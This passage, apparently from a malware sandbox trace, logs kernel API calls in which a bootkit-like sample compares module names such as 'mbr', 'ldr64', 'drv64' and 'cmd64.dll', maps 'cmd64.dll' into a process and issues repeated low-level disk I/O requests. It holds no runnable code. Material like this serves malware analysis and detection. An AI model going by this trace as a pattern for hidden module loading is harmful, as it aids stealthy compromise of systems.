_strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0077.790] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.790] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.790] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.790] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0077.790] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0077.790] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0077.790] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0077.790] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0077.790] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003637620 [0077.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.790] KeLeaveCriticalRegion () [0077.790] IofCompleteRequest (Irp=0xfffffa8003622ee0, PriorityBoost=0) [0077.791] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800003f4 | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0077.791] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0077.791] KeEnterCriticalRegion () [0077.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.791] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0077.791] IdePortDispatch () returned 0x103 [0077.791] KeWaitForMutexObject () returned 0x0 [0077.791] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0077.791] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0077.791] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.791] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.791] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.791] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0077.791] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0077.791] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0077.791] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0077.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.791] KeLeaveCriticalRegion () [0077.791] IofCompleteRequest (Irp=0xfffffa8003622ee0, PriorityBoost=0) [0077.791] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800003b4, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0077.791] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0077.791] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0077.791] KeEnterCriticalRegion () [0077.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.791] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c98000 [0077.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.791] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.792] IdePortDispatch () returned 0x103 [0077.792] KeWaitForMutexObject () returned 0x0 [0077.792] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0077.792] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0077.792] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.792] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.792] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0077.792] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0077.792] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0077.792] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0077.792] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0077.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.792] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.792] IdePortDispatch () returned 0x103 [0077.792] KeWaitForMutexObject () returned 0x0 [0077.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.792] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.792] IdePortDispatch () returned 0x103 [0077.792] KeWaitForMutexObject () returned 0x0 [0077.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.793] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.793] IdePortDispatch () returned 0x103 [0077.793] KeWaitForMutexObject () returned 0x0 [0077.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.793] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.793] IdePortDispatch () returned 0x103 [0077.793] KeWaitForMutexObject () returned 0x0 [0077.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.793] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.793] IdePortDispatch () returned 0x103 [0077.793] KeWaitForMutexObject () returned 0x0 [0077.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.794] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.794] IdePortDispatch () returned 0x103 [0077.794] KeWaitForMutexObject () returned 0x0 [0077.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.794] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.794] IdePortDispatch () returned 0x103 [0077.794] KeWaitForMutexObject () returned 0x0 [0077.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.794] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.794] IdePortDispatch () returned 0x103 [0077.794] KeWaitForMutexObject () returned 0x0 [0077.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.794] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.794] IdePortDispatch () returned 0x103 [0077.795] KeWaitForMutexObject () returned 0x0 [0077.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.795] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.795] IdePortDispatch () returned 0x103 [0077.795] KeWaitForMutexObject () returned 0x0 [0077.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.795] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.795] IdePortDispatch () returned 0x103 [0077.795] KeWaitForMutexObject () returned 0x0 [0077.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.795] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.795] IdePortDispatch () returned 0x103 [0077.795] KeWaitForMutexObject () returned 0x0 [0077.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.796] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.796] IdePortDispatch () returned 0x103 [0077.796] KeWaitForMutexObject () returned 0x0 [0077.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.796] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.796] IdePortDispatch () returned 0x103 [0077.796] KeWaitForMutexObject () returned 0x0 [0077.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.796] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.796] IdePortDispatch () returned 0x103 [0077.796] KeWaitForMutexObject () returned 0x0 [0077.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.797] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.797] IdePortDispatch () returned 0x103 [0077.797] KeWaitForMutexObject () returned 0x0 [0077.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.797] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.797] IdePortDispatch () returned 0x103 [0077.797] KeWaitForMutexObject () returned 0x0 [0077.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.797] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.797] IdePortDispatch () returned 0x103 [0077.797] KeWaitForMutexObject () returned 0x0 [0077.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.797] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.798] IdePortDispatch () returned 0x103 [0077.798] KeWaitForMutexObject () returned 0x0 [0077.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.798] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.798] IdePortDispatch () returned 0x103 [0077.798] KeWaitForMutexObject () returned 0x0 [0077.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.798] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.798] IdePortDispatch () returned 0x103 [0077.798] KeWaitForMutexObject () returned 0x0 [0077.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.798] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.798] IdePortDispatch () returned 0x103 [0077.799] KeWaitForMutexObject () returned 0x0 [0077.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.799] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.799] IdePortDispatch () returned 0x103 [0077.799] KeWaitForMutexObject () returned 0x0 [0077.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.799] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.799] IdePortDispatch () returned 0x103 [0077.799] KeWaitForMutexObject () returned 0x0 [0077.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.799] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.799] IdePortDispatch () returned 0x103 [0077.799] KeWaitForMutexObject () returned 0x0 [0077.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.800] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.800] IdePortDispatch () returned 0x103 [0077.800] KeWaitForMutexObject () returned 0x0 [0077.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.800] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.800] IdePortDispatch () returned 0x103 [0077.800] KeWaitForMutexObject () returned 0x0 [0077.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.800] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.800] IdePortDispatch () returned 0x103 [0077.800] KeWaitForMutexObject () returned 0x0 [0077.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.801] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.801] IdePortDispatch () returned 0x103 [0077.801] KeWaitForMutexObject () returned 0x0 [0077.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.801] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.801] IdePortDispatch () returned 0x103 [0077.801] KeWaitForMutexObject () returned 0x0 [0077.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.801] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.801] IdePortDispatch () returned 0x103 [0077.801] KeWaitForMutexObject () returned 0x0 [0077.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.802] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, 